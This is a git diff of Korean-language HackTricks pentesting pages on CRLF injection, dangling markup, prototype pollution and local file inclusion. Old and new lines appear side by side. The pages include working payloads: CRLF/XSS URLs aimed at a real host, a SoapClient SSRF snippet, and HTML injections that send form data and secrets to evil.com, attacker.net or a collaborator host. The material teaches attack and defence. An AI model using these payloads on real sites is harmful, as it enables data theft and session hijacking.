캐리지 리턴(CR)과 라인 피드(LF)는 함께 CRLF로 알려져 있으며, HTTP 프로토콜에서 줄의 끝이나 새로운 줄의 시작을 나타내기 위해 사용되는 특수 문자 시퀀스입니다. 웹 서버와 브라우저는 HTTP 헤더와 응답 본문을 구분하기 위해 CRLF를 사용합니다. 이러한 문자는 Apache 및 Microsoft IIS와 같은 다양한 웹 서버 유형에서 HTTP/1.1 통신에 보편적으로 사용됩니다.
### CRLF Injection Vulnerability
@ -37,15 +35,15 @@ IP - Time - Visited Path
#### 설명
HTTP Response Splitting은 공격자가 HTTP 응답의 구조를 악용할 때 발생하는 보안 취약점입니다. 이 구조는 특정 문자 시퀀스인 Carriage Return (CR)과 Line Feed (LF)를 사용하여 헤더와 본문을 구분하며, 이를 CRLF라고 합니다. 공격자가 응답 헤더에 CRLF 시퀀스를 삽입하는 데 성공하면, 이후 응답 내용을 효과적으로 조작할 수 있습니다. 이러한 유형의 조작은 심각한 보안 문제, 특히 Cross-site Scripting (XSS)으로 이어질 수 있습니다.
HTTP Response Splitting은 공격자가 HTTP 응답의 구조를 악용할 때 발생하는 보안 취약점입니다. 이 구조는 특정 문자 시퀀스인 Carriage Return (CR)과 Line Feed (LF)를 사용하여 헤더와 본문을 구분하며, 이를 CRLF라고 합니다. 공격자가 응답 헤더에 CRLF 시퀀스를 삽입하는 데 성공하면, 이후 응답 내용을 효과적으로 조작할 수 있습니다. 이러한 유형의 조작은 심각한 보안 문제, 특히 Cross-site Scripting (XSS)으로 이어질 수 있습니다.
#### HTTP Response Splitting을 통한 XSS
1. 애플리케이션은 다음과 같은 사용자 정의 헤더를 설정합니다: `X-Custom-Header: UserInput`
2. 애플리케이션은 쿼리 매개변수에서 `UserInput`의 값을 가져옵니다. 예를 들어 "user_input"입니다. 적절한 입력 검증 및 인코딩이 없는 시나리오에서 공격자는 CRLF 시퀀스와 악의적인 콘텐츠를 포함하는 페이로드를 작성할 수 있습니다.
2. 애플리케이션은 쿼리 매개변수에서 `UserInput`의 값을 가져옵니다. 예를 들어 "user_input"입니다. 적절한 입력 검증 및 인코딩이 없는 시나리오에서 공격자는 CRLF 시퀀스와 악의적인 내용을 포함하는 페이로드를 작성할 수 있습니다.
3. 공격자는 특별히 조작된 'user_input'을 가진 URL을 작성합니다: `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
- 이 URL에서 `%0d%0a%0d%0a`는 CRLFCRLF의 URL 인코딩된 형태입니다. 이는 서버를 속여 CRLF 시퀀스를 삽입하게 하여 서버가 이후 부분을 응답 본문으로 처리하게 만듭니다.
4. 서버는 공격자의 입력을 응답 헤더에 반영하여 악의적인 스크립트가 응답 본문의 일부로 브라우저에 의해 해석되는 의도치 않은 응답 구조를 초래합니다.
4. 서버는 응답 헤더에 공격자의 입력을 반영하여 악의적인 스크립트가 응답 본문의 일부로 브라우저에 의해 해석되는 의도치 않은 응답 구조를 초래합니다.
#### 리디렉션으로 이어지는 HTTP Response Splitting의 예
@ -65,26 +63,26 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT
```
#### URL 경로에서
서버의 **응답**을 제어하기 위해 **URL 경로 안에** 페이로드를 보낼 수 있습니다 (예시 [여기](https://hackerone.com/reports/192667)에서):
서버의 **응답**을 제어하기 위해 **URL 경로 안에** 페이로드를 보낼 수 있습니다 (예시: [여기](https://hackerone.com/reports/192667)):
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
더 많은 예시는 다음에서 확인하세요:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
{{#ref}}
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
{{#endref}}
### HTTP 헤더 주입
HTTP 헤더 주입은 종종 CRLF (Carriage Return and Line Feed) 주입을 통해 악용되며, 공격자가 HTTP 헤더를 삽입할 수 있게 합니다. 이는 XSS (Cross-Site Scripting) 필터나 SOP (Same-Origin Policy)와 같은 보안 메커니즘을 무력화할 수 있으며, CSRF 토큰과 같은 민감한 데이터에 대한 무단 접근이나 쿠키 삽입을 통한 사용자 세션 조작으로 이어질 수 있습니다.
HTTP 헤더 주입은 CRLF (Carriage Return and Line Feed) 주입을 통해 자주 악용되며, 공격자가 HTTP 헤더를 삽입할 수 있게 합니다. 이는 XSS (Cross-Site Scripting) 필터나 SOP (Same-Origin Policy)와 같은 보안 메커니즘을 무력화할 수 있으며, CSRF 토큰과 같은 민감한 데이터에 대한 무단 접근이나 쿠키 심기를 통한 사용자 세션 조작으로 이어질 수 있습니다.
#### HTTP 헤더 주입을 통한 CORS 악용
공격자는 HTTP 헤더를 주입하여 CORS (Cross-Origin Resource Sharing)를 활성화할 수 있으며, SOP에 의해 부과된 제한을 우회할 수 있습니다. 이 침해는 악의적인 출처의 스크립트가 다른 출처의 리소스와 상호작용할 수 있게 하여, 보호된 데이터에 접근할 수 있게 합니다.
공격자는 HTTP 헤더를 주입하여 CORS (Cross-Origin Resource Sharing)를 활성화할 수 있으며, 이는 SOP에 의해 부과된 제한을 우회합니다. 이 침해는 악의적인 출처의 스크립트가 다른 출처의 리소스와 상호작용할 수 있게 하여, 보호된 데이터에 접근할 수 있게 합니다.
#### CRLF를 통한 SSRF 및 HTTP 요청 주입
CRLF 주입은 완전히 새로운 HTTP 요청을 작성하고 주입하는 데 활용될 수 있습니다. 이의 주목할 만한 예는 PHP의 `SoapClient` 클래스의 취약점으로, 특히 `user_agent` 매개변수 내에서 발생합니다. 이 매개변수를 조작함으로써, 공격자는 추가 헤더와 본문 내용을 삽입하거나 심지어 완전히 새로운 HTTP 요청을 주입할 수 있습니다. 아래는 이 악용을 보여주는 PHP 예제입니다:
CRLF 주입은 완전히 새로운 HTTP 요청을 작성하고 주입하는 데 활용될 수 있습니다. 이의 주목할 만한 예는 PHP의 `SoapClient` 클래스의 취약점으로, 특히 `user_agent` 매개변수 내에서 발생합니다. 이 매개변수를 조작함으로써 공격자는 추가 헤더와 본문 내용을 삽입하거나, 심지어 완전히 새로운 HTTP 요청을 주입할 수 있습니다. 아래는 이 악용을 보여주는 PHP 예제입니다:
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
@ -109,7 +107,7 @@ array(
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
```
### 헤더 주입을 통한 요청 밀반입
### 헤더 주입을 통한 요청 밀
이 기술과 잠재적인 문제에 대한 자세한 내용은 [**원본 소스 확인**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)을 참조하세요.
@ -117,7 +115,7 @@ $client->__soapCall("test", []);
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
그 후, 두 번째 요청을 지정할 수 있습니다. 이 시나리오는 일반적으로 [HTTP request smuggling](http-request-smuggling/)과 관련이 있으며, 여기서 서버가 주입 후 추가한 헤더나 본문 요소가 다양한 보안 취약점을 초래할 수 있니다.
그 후, 두 번째 요청을 지정할 수 있습니다. 이 시나리오는 일반적으로 [HTTP request smuggling](http-request-smuggling/)과 관련이 있으며, 서버가 주입 후 추가한 헤더나 본문 요소가 다양한 보안 취약점을 초래할 수 있는 기술입니다.
**악용:**
@ -145,7 +143,7 @@ Memcache는 **명확한 텍스트 프로토콜을 사용하는 키-값 저장소
<figure><img src="../images/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&#x26;h=178&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
게다가, 연구자들은 공격자가 알지 못하는 사용자의 이메일로 공격자의 IP와 포트를 전송하기 위해 memcache 응답을 비동기화할 수 있다는 것 발견했습니다:
게다가, 연구자들은 공격자가 알지 못하는 사용자의 이메일로 공격자의 IP와 포트를 전송하기 위해 memcache 응답을 비동기화할 수 있다는 것 발견했습니다:
<figure><img src="../images/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&#x26;h=506&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
@ -155,7 +153,7 @@ Memcache는 **명확한 텍스트 프로토콜을 사용하는 키-값 저장소
1. **응답 헤더에 직접 사용자 입력 피하기**: 가장 안전한 접근법은 사용자 제공 입력을 응답 헤더에 직접 포함하지 않는 것입니다.
2. **특수 문자 인코딩**: 직접 사용자 입력을 피할 수 없는 경우, CR(캐리지 리턴) 및 LF(라인 피드)와 같은 특수 문자를 인코딩하는 전용 함수를 사용해야 합니다. 이 관행은 CRLF 주입 가능성을 방지합니다.
3. **프로그래밍 언어 업데이트**: 웹 애플리케이션에서 사용하는 프로그래밍 언어를 정기적으로 최신 버전으로 업데이트하십시오. HTTP 헤더 설정하는 함수 내에서 CR 및 LF 문자의 주입을 본질적으로 허용하지 않는 버전을 선택하십시오.
3. **프로그래밍 언어 업데이트**: 웹 애플리케이션에서 사용하는 프로그래밍 언어를 정기적으로 최신 버전으로 업데이트하십시오. HTTP 헤더 설정을 담당하는 함수 내에서 CR 및 LF 문자의 주입을 본질적으로 허용하지 않는 버전을 선택하십시오.
### CHEATSHEET
@ -186,7 +184,7 @@ Memcache는 **명확한 텍스트 프로토콜을 사용하는 키-값 저장소
- [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
- [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
## 무차별 대입 탐지 목록
## 브루트포스 탐지 목록
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
@ -197,6 +195,4 @@ Memcache는 **명확한 텍스트 프로토콜을 사용하는 키-값 저장소
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,8 +4,8 @@
## Resume
이 기술은 **HTML injection이 발견되었을 때** 사용자로부터 정보를 추출하는 데 사용할 수 있습니다. 이는 **XSS** [**를 악용할 방법을 찾지 못할 때**](../xss-cross-site-scripting/) 유용하며, **일부 HTML 태그를 주입할 수 있는 경우**에 매우 유용합니다.\
또한 **비밀이 HTML에 평문으로 저장되어** 있고 이를 클라이언트에서 **유출**하고 싶거나, 일부 스크립트 실행을 오도하고 싶을 때도 유용합니다.
이 기술은 **HTML injection이 발견되었을 때** 사용자로부터 정보를 추출하는 데 사용할 수 있습니다. 이는 **XSS** [**를 악용할 방법을 찾지 못할 때**](../xss-cross-site-scripting/) 유용하며, **HTML 태그를 주입할 수 있는 경우**에 매우 유용합니다.\
또한 **비밀이 HTML에 평문으로 저장되어** 있고 이를 클라이언트에서 **유출**하고 싶거나, 스크립트 실행을 오도하고 싶을 때도 유용합니다.
여기에서 언급된 여러 기술은 정보를 예상치 못한 방식으로 유출하여 일부 [**Content Security Policy**](../content-security-policy-csp-bypass/)를 우회하는 데 사용할 수 있습니다 (html 태그, CSS, http-meta 태그, 폼, base...).
@ -32,7 +32,7 @@ CSS `@import`를 악용할 수도 있습니다(세미콜론(";")을 찾을 때
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
당신은 또한 `<base` 태그를 삽입할 수 있습니다. 모든 정보는 인용이 닫힐 때까지 전송되지만 일부 사용자 상호작용이 필요합니다(사용자가 링크를 클릭해야 하며, 기본 태그가 링크가 가리키는 도메인을 변경했기 때문입니다):
당신은 또한 `<base` 태그를 삽입할 수 있습니다. 모든 정보는 인용이 닫힐 때까지 전송되지만 일부 사용자 상호작용이 필요합니다(사용자가 링크를 클릭해야 합니다. 왜냐하면 base 태그가 링크가 가리키는 도메인을 변경했기 때문입니다):
```html
<base target=' <--- Injected
steal me'<b>test</b>
@ -41,7 +41,7 @@ steal me'<b>test</b>
```html
<base href="http://evil.com/" />
```
그런 다음, 데이터를 경로로 보내는 폼(`<form action='update_profile.php'>`)은 악 도메인으로 데이터를 보냅니다.
그런 다음, 데이터를 경로로 보내는 폼(`<form action='update_profile.php'>`)은 악의적인 도메인으로 데이터를 보냅니다.
### 폼 훔치기 2
@ -59,15 +59,15 @@ I get consumed!
[**이 공격의 예를 이 문서에서 찾으세요**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
### 평문 비밀 훔치기 2
### 명확한 텍스트 비밀 훔치기 2
가장 최근에 언급된 기술을 사용하여 양식을 훔치고 (새 양식 헤더 주입) 새로운 입력 필드를 주입할 수 있습니다:
```html
<input type='hidden' name='review_body' value="
```
이 입력 필드는 HTML에서 이중 따옴표 사이의 모든 내용을 다음 이중 따옴표까지 포함합니다. 이 공격은 "_**명확한 텍스트 비밀 훔치기**_"와 "_**양식 훔치기2**_"를 혼합합니다.
이 입력 필드는 HTML에서 이중 따옴표 사이의 모든 콘텐츠와 다음 이중 따옴표 사이의 콘텐츠를 포함합니다. 이 공격은 "_**명확한 텍스트 비밀 훔치기**_"와 "_**양식 훔치기2**_"를 혼합합니다.
폼과 `<option>` 태그를 주입하여 같은 작업을 수행할 수 있습니다. 닫힌 `</option>`이 발견될 때까지 모든 데이터가 전송됩니다:
폼과 `<option>` 태그를 주입하여 동일한 작업을 수행할 수 있습니다. 닫힌 `</option>`이 발견될 때까지 모든 데이터가 전송됩니다:
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
@ -86,32 +86,32 @@ I get consumed!
</form>
</form>
```
### noscript를 통한 평문 비밀 훔치기
### 노스크립트를 통한 평문 비밀 훔치기
`<noscript></noscript>`는 브라우저가 자바스크립트를 지원하지 않을 경우 그 내용을 해석하는 태그입니다 (Chrome에서 자바스크립트를 활성화/비활성화할 수 있습니다: [chrome://settings/content/javascript](chrome://settings/content/javascript)).
공격자가 제어하는 사이트로 주입 지점에서 하단까지 웹 페이지의 내용을 유출하는 방법은 다음을 주입하는 것입니다:
공격자가 제어하는 사이트로 주입 지점에서 페이지의 내용을 하단까지 유출하는 방법은 다음을 주입하는 것입니다:
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### 사용자 상호작용으로 CSP 우회하기
이 [portswiggers 연구](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)에서 **가장 CSP가 제한된** 환경에서도 **사용자 상호작용**을 통해 여전히 **데이터를 유출**할 수 있음을 배울 수 있습니다. 이번 경우에는 페이로드를 사용할 것입니다:
이 [portswiggers 연구](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)에서 알 수 있듯이, **가장 CSP가 제한된** 환경에서도 **사용자 상호작용**을 통해 여전히 **데이터를 유출**할 수 있습니다. 이번 경우에는 페이로드를 사용할 것입니다:
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
**희생자**에게 **링크를 클릭**하도록 요청하여 **당신이 제어하는** **payload**로 **리디렉션**됩니다. 또한 **`base`** 태그 내의 **`target`** 속성은 다음 단일 인용부호까지 **HTML 콘텐츠**를 포함할 것임을 주의하세요.\
이로 인해 링크가 클릭되면 **`window.name`**의 **값**은 모든 **HTML 콘텐츠**가 니다. 따라서 희생자가 링크를 클릭하여 접근하는 페이지를 **제어**하므로 해당 **`window.name`**에 접근하고 그 데이터를 **유출**할 수 있습니다:
**희생자**에게 **링크를 클릭**하도록 요청하여 **당신이 제어하는** **payload**로 **리디렉션**되게 하십시오. 또한 **`base`** 태그 내의 **`target`** 속성은 다음 단일 인용부호까지 **HTML 콘텐츠**를 포함할 것임을 유의하십시오.\
이로 인해 링크가 클릭되면 **`window.name`**의 **값**은 모든 **HTML 콘텐츠**가 될 것입니다. 따라서 희생자가 링크를 클릭하여 접근하는 페이지를 **제어**하므로 해당 **`window.name`**에 접근하고 그 데이터를 **유출**할 수 있습니다:
```html
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### 오해의 소지가 있는 스크립트 워크플로 1 - HTML 네임스페이스 공격
### 오해의 소지가 있는 스크립트 워크플로 1 - HTML 네임스페이스 공격
HTML 내부에 새로운 태그와 ID를 삽입하여 다음 태그를 덮어쓰고 스크립트의 흐름에 영향을 미치는 값을 설정합니다. 이 예제에서는 정보가 공유될 대상을 선택하고 있습니다:
HTML 내부에 새로운 태그와 ID를 삽입하여 다음 태그를 덮어쓰고 스크립트의 흐름에 영향을 미 값을 설정합니다. 이 예제에서는 정보가 공유될 대상을 선택하고 있습니다:
```html
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
@ -161,7 +161,7 @@ top.window.location = "https://attacker.com/hacked.html"
</body>
</html>
```
이것은 다음과 같은 방법으로 완화할 수 있습니다: `sandbox=' allow-scripts allow-top-navigation'`
이것은 `sandbox=' allow-scripts allow-top-navigation'`와 같은 방법으로 완화할 수 있습니다.
iframe은 또한 **iframe name 속성**을 사용하여 다른 페이지에서 민감한 정보를 유출하는 데 악용될 수 있습니다. 이는 HTML 주입을 악용하여 **민감한 정보가 iframe name 속성 안에 나타나게 하는** iframe을 생성할 수 있기 때문이며, 그런 다음 초기 iframe에서 해당 이름에 접근하여 유출할 수 있습니다.
```html
@ -176,24 +176,24 @@ setTimeout(() => alert(win[0].name), 500)
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
```
더 많은 정보는 [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes) 확인하세요.
더 많은 정보는 [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)에서 확인하세요.
### \<meta 남용
**`meta http-equiv`**를 사용하여 쿠키 설정과 같은 **여러 작업**을 수행할 수 있습니다: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` 또는 리디렉션 수행할 수 있습니다(이 경우 5초 후): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
**`meta http-equiv`**를 사용하여 쿠키 설정: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` 또는 리디렉션 수행(이 경우 5초 후): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`와 같은 **여러 작업**을 수행할 수 있습니다.
이는 **http-equiv**에 대한 **CSP**로 **피할 수 있습니다** (`Content-Security-Policy: default-src 'self';`, 또는 `Content-Security-Policy: http-equiv 'self';`)
이는 **http-equiv**에 대한 **CSP**로 ****할 수 있습니다 ( `Content-Security-Policy: default-src 'self';`, 또는 `Content-Security-Policy: http-equiv 'self';`)
### 새로운 \<portal HTML 태그
\<portal 태그의 취약점에 대한 매우 **흥미로운 연구**를 [여기](https://research.securitum.com/security-analysis-of-portal-element/)에서 찾을 수 있습니다.\
\<portal 태그의 exploitable vulnerabilities에 대한 매우 **흥미로운 연구**를 [여기](https://research.securitum.com/security-analysis-of-portal-element/)에서 찾을 수 있습니다.\
이 글을 작성할 당시 Chrome에서 `chrome://flags/#enable-portals`에서 portal 태그를 활성화해야 작동합니다.
```html
<portal src='https://attacker-server?
```
### HTML 누수
### HTML Leaks
HTML에서 연결성을 누수하는 모든 방법이 Dangling Markup에 유용하지는 않지만, 때때로 도움이 될 수 있습니다. 여기에서 확인하세요: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
HTML에서 연결을 유출하는 모든 방법이 Dangling Markup에 유용하지는 않지만, 때때로 도움이 될 수 있습니다. 여기에서 확인하세요: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Leaks
@ -205,17 +205,19 @@ ss-leaks.md
## XS-Search/XS-Leaks
XS-Search는 **사이드 채널 공격**을 악용하여 **교차 출처 정보**를 **유출**하는 데 중점을 둡니다. 따라서, 이는 Dangling Markup과는 다른 기술이지만, 일부 기술은 HTML 태그의 포함을 악용합니다(JS 실행 여부 관계없이), 예를 들어 [**CSS Injection**](../xs-search/#css-injection) 또는 [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
XS-Search는 **사이드 채널 공격**을 악용하여 **교차 출처 정보**를 **유출**하는 데 중점을 둡니다. 따라서, 이는 Dangling Markup과는 다른 기술이지만, 일부 기술은 HTML 태그의 포함을 악용합니다(JS 실행 여부 관계없이), 예를 들어 [**CSS Injection**](../xs-search/#css-injection) 또는 [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
{{#ref}}
../xs-search/
{{#endref}}
## 무차별 대입 탐지 목록
## Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
{{#endref}}
## 참고 문헌
## References
- [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
- [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)

View File

@ -144,7 +144,7 @@ console.log(key1 + "." + key2)
```
### 배열 요소 오염
JS에서 객체의 속성을 오염시킬 수 있는 것처럼, 배열에 오염시킬 수 있는 접근 권한이 있다면 **인덱스를 통해 접근 가능한 배열의 값도 오염시킬 수 있습니다** (값을 덮어쓸 수는 없으므로, 어떤 식으로든 사용되지만 작성되지 않은 인덱스를 오염시켜야 합니다).
JS에서 객체의 속성을 오염시킬 수 있는 것처럼, 배열에 오염시킬 수 있는 접근 권한이 있다면 **인덱스를 통해 접근 가능한 배열의 값도 오염시킬 수 있습니다** (값을 덮어쓸 수는 없으므로, 어떤 식으로든 사용되지만 쓰이지 않는 인덱스를 오염시켜야 합니다).
```javascript
c = [1, 2]
a = []
@ -154,9 +154,9 @@ b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
```
### Html elements pollution
### Html 요소 오염
JS를 통해 HTML 요소를 생성할 때 **`innerHTML`** 속성을 **덮어쓰는** 것이 가능하여 **임의의 HTML 코드를 작성**할 수 있습니다. [이 글에서 아이디어와 예시](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/)를 참조하세요.
JS를 통해 HTML 요소를 생성할 때 **`innerHTML`** 속성을 **덮어쓰는** 것이 가능하여 **임의의 HTML 코드**를 작성할 수 있습니다. [이 글에서 아이디어와 예시](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/)입니다.
```javascript
// Create element
devSettings["root"] = document.createElement('main')
@ -177,7 +177,7 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
```javascript
if (user.admin) {
```
속성 **`admin`이 정의되지 않은 경우** PP를 악용하고 다음과 같이 True로 설정할 수 있습니다:
속성 **`admin`이 정의되지 않은 경우** PP를 악용하고 다음과 같이 True로 설정할 수 있습니다:
```javascript
Object.prototype.isAdmin = true
let user = {}
@ -195,7 +195,7 @@ user.isAdmin // true
```python
customer.__proto__.toString = ()=>{alert("polluted")}
```
### 프로토타입 오염을 통한 RCE
### 프로토 오염을 통한 RCE
{{#ref}}
prototype-pollution-to-rce.md
@ -213,7 +213,7 @@ client-side-prototype-pollution.md
### CVE-201911358: jQuery $ .extend를 통한 프로토타입 오염 공격
[자세한 내용은 이 기사를 확인하세요](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) jQuery에서 `$ .extend` 함수는 깊은 복사 기능이 잘못 사용될 경우 프로토타입 오염을 초래할 수 있습니다. 이 함수는 일반적으로 객체를 복제하거나 기본 객체의 속성을 병합하는 데 사용됩니다. 그러나 잘못 구성되면 새로운 객체를 위한 속성이 대신 프로토타입에 할당될 수 있습니다. 예를 들어:
[자세한 내용은 이 기사를 확인하세요](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) jQuery에서 `$ .extend` 함수는 깊은 복사 기능이 잘못 사용될 경우 프로토타입 오염을 초래할 수 있습니다. 이 함수는 일반적으로 객체를 복제하거나 기본 객체에서 속성을 병합하는 데 사용됩니다. 그러나 잘못 구성된 경우, 새로운 객체를 위한 속성이 대신 프로토타입에 할당될 수 있습니다. 예를 들어:
```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
@ -228,7 +228,9 @@ console.log({}.devMode) // Outputs: true
### CVE가 포함된 또 다른 튜토리얼
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
{{#ref}}
https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2
{{#endref}}
### 프로토타입 오염 탐지를 위한 도구
@ -248,8 +250,8 @@ Handlebars 템플릿 엔진은 프로토타입 오염 공격에 취약합니다.
악용은 Handlebars에 의해 생성된 AST(추상 구문 트리)를 활용하며, 다음 단계를 따릅니다:
1. **파서 조작**: 처음에 파서는 `NumberLiteral` 노드를 통해 값이 숫자여야 한다고 강제합니다. 프로토타입 오염은 이를 우회할 수 있어 비숫자 문자열을 삽입할 수 있게 합니다.
2. **컴파일러에 의한 처리**: 컴파일러는 AST 객체 또는 문자열 템플릿을 처리할 수 있습니다. 만약 `input.type``Program`과 같다면, 입력은 미리 파싱된 것으로 간주되어 악용될 수 있습니다.
3. **코드 주입**: `Object.prototype`의 조작을 통해 템플릿 함수에 임의의 코드를 주입할 수 있으며, 이는 원격 코드 실행으로 이어질 수 있습니다.
2. **컴파일러에 의한 처리**: 컴파일러는 AST 객체 또는 문자열 템플릿을 처리할 수 있습니다. `input.type``Program`과 같으면 입력이 미리 파싱된 것으로 간주되어 악용될 수 있습니다.
3. **코드 주입**: `Object.prototype`을 조작하여 템플릿 함수에 임의의 코드를 주입할 수 있으며, 이는 원격 코드 실행으로 이어질 수 있습니다.
Handlebars 취약점의 악용을 보여주는 예:
```javascript
@ -343,10 +345,10 @@ requests.get(TARGET_URL)
5. **Map 사용**: 키-값 쌍을 저장할 때 `Object` 대신 `Map`을 사용해야 합니다.
6. **라이브러리 업데이트**: 라이브러리를 정기적으로 업데이트하여 보안 패치를 통합할 수 있습니다.
7. **린터 및 정적 분석 도구**: ESLint와 적절한 플러그인을 사용하여 프로토타입 오염 취약점을 감지하고 방지하는 도구를 사용하세요.
8. **코드 리뷰**: 프로토타입 오염과 관련된 잠재적 위험을 식별하고 수정하기 위해 철저한 코드 리뷰를 시행하세요.
8. **코드 리뷰**: 프로토타입 오염과 관련된 잠재적 위험을 식별하고 수정하기 위해 철저한 코드 리뷰를 구현하세요.
9. **보안 교육**: 개발자에게 프로토타입 오염의 위험과 안전한 코드를 작성하기 위한 모범 사례에 대해 교육하세요.
10. **라이브러리 사용 시 주의**: 서드파티 라이브러리를 사용할 때 주의하세요. 그들의 보안 상태를 평가하고, 특히 객체를 조작하는 코드에 대해 검토하세요.
11. **런타임 보호**: 프로토타입 오염 공격을 감지하고 방지할 수 있는 보안 중심의 npm 패키지를 사용하는 등 런타임 보호 메커니즘을 사용하세요.
11. **런타임 보호**: 프로토타입 오염 공격을 감지하고 방지할 수 있는 보안 중심의 npm 패키지를 사용하는 등 런타임 보호 메커니즘을 사용하세요.
## 참고 문헌

View File

@ -21,7 +21,9 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
**여러 \*nix LFI 목록을 혼합하고 더 많은 경로를 추가하여 이 목록을 만들었습니다:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
또한 `/``\`로 변경해 보세요.\
또한 `../../../../../`를 추가해 보세요.
@ -32,7 +34,9 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
다양한 단어 목록의 병합:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
또한 `/``\`로 변경해 보세요.\
또한 `C:/`를 제거하고 `../../../../../`를 추가해 보세요.
@ -43,9 +47,9 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
리눅스의 LFI 목록을 확인하세요.
## Basic LFI and bypasses
## 기본 LFI 및 우회
모든 예시는 Local File Inclusion을 위한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/)).
